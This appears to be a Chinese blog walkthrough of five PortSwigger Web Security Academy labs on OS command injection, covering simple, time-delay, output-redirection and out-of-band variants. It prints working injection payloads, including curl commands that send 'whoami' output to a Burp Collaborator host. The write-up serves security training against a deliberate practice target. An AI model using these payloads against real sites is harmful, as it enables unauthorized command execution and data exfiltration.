Portswigger web security academy:OS command injection

OS command injection, simple case

  • 题目描述

    • 环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果

    • 要求运行whoami来确认当前用户身份

  • 解题过程

    • 先找注入点

      找到注入点在选地区,查剩余库存的功能点(check stock)

    • 注入

      burp拦截,productId=3%26echo 123&storeId=2

      返回123 2,说明存在命令注入

    • 构造payload

      productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里

      修改productId=3%26whoami%26echo &storeId=2

Blind OS command injection with time delays

  • 题目描述

    • 在feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回

    • 要求产生10秒的延时

  • 解题过程

    • 先去搜索了一下linux下的延迟命令

      • 找到一个 sleep num[s/m/h/d]
    • 用burp抓包,经过测试,发现email参数异常,当其中包含有& | ; %0a ` 或者它们的url编码时会返回Could not save

      • 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
    • 尝试

      • |sleep%2010s|

        仍然报错,但是可以看到命令已经成功运行,猜测是管道符|导致的参数错误

      • 再次尝试,||sleep%20100s||,成功且没有报错

Blind OS command injection with out put redirection

  • 题目描述

    • 在feedback功能点存在命令注入(盲注)
    • /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面
    • 要求把whoami的结果重定向到上述目录,并拿到结果
  • 解题过程

    • 寻找打开图片的接口

      • /image?filename=xx.jpg

    • 寻找漏洞点

      使用上一题的payload,发现漏洞点仍然在email

    • 构造payload并执行

      ||whoami%20>/var/www/images/1.jpg||

    • 利用图片接口,获得结果

Blind OS command injection with out-of-band interaction

  • 题目描述

    • 在feedback功能点存在命令注入(盲注)
    • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
    • 要求执行一个DNS lookup,(利用 collaborator)
  • 解题过程

    • 直接构造payload

      ||curl%20xxx.burpcollaborator.net||即可

      但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果

      最终的payload:||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||

      在尝试&和yt交流之后,发现以下payload也可以:

      • a=whoami;curl xxx.xxx/`$a`

      • a=`whoami`;curl xxx.xxx/$a

      curl xxx.xxx/`whoami` 这样最简单

Blind OS command injection with out-of-band data exfiltration

  • 题目描述

    • 在feedback功能点存在命令注入(盲注)
    • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
    • 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
  • 解题过程

    • 直接用上道题最后的payload即可

      ||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||

      (更新)||curl%20xxx.burpcollaborator.net/`whoami`||

Portswigger web security academy:OS command injection的更多相关文章

  1. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

  2. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  3. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  4. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  5. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  6. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. FreeBSD ibus输入法框架配置

    FreeBSD ibus输入法框架配置 ibus输入法框架配置.xinitrc中增加XIM=ibus; export XIMGTK_IM_MODULE=ibus; export GTK_IM_MODU ...

  2. VirtualBOX 虚拟机 FreeBSD配置

    pkg装virtualbox-ose-additions, 再将 Section "Device"Identifier "Card0"Driver " ...

  3. FPGA的开发板

    板卡架构 板载FPGA(K7-325T)处理24端口10/100/1000M以太网数据: FPGA外挂4Gbit的DDR3颗粒,最大支持800MHz: 板载CPU进行系统配置.管理,并与客户端软件通信 ...

  4. WPF 基础 - DataTemplate

    如果把控件的功能视为内容,则可以使用控件模板 ControlTemplate 来控制它的展现: 如果把数据视为内容,则可以使用数据模板 DataTemplate 把数据展示出来: ControlTem ...

  5. RateLimiter源码解析

    RateLimiter是Guava包提供的限流器,采用了令牌桶算法,特定是均匀地向桶中添加令牌,每次消费时也必须持有令牌,否则就需要等待.应用场景之一是限制消息消费的速度,避免消息消费过快而对下游的数 ...

  6. for-in 语句

    for-in 语句循环专门用于遍历范围,列表,元素和字典等可迭代对象. 循环中的变量的值受for-in循环控制,该变量将会在每次循环开始时自动被赋值,因此程序不应该在循环中对该变量进行赋值 for-i ...

  7. P1162_填涂颜色(JAVA语言)(速看!全洛谷最暴力解法!QAQ)

    思路:看了看数据n<=30,于是我们可以暴力求解(主要是BFS学的不咋地~2333).枚举每个0的位置,看上下左右四个方向上是否都有1.都有1的话说明被1包围,即在闭合圈的内部,开个数组标记一下 ...

  8. C语言中复杂声明的解读和简化

    code[class*="language-"], pre[class*="language-"] { color: rgba(51, 51, 51, 1); ...

  9. JAVA题目:正整数n若是其平方数的尾部,则称n为同构数 如:5*5=25, 25*25=625 问: 求1~99中的所有同构数

    1 /*题目:正整数n若是其平方数的尾部,则称n为同构数 2 如:5*5=25, 25*25=625 3 问: 求1~99中的所有同构数 4 */ 5 //分析:将1-99分为1-9和10-99,用取 ...

  10. [Azure Devops] 使用 Azure Repos 管理代码

    1. 什么是 Azure Repos Azure Repos 是一组版本控制工具,可用于管理代码.无论您的软件项目是大型项目还是小型项目,都应尽快使用版本控制. 版本控制系统是可帮助您跟踪随时间变化对 ...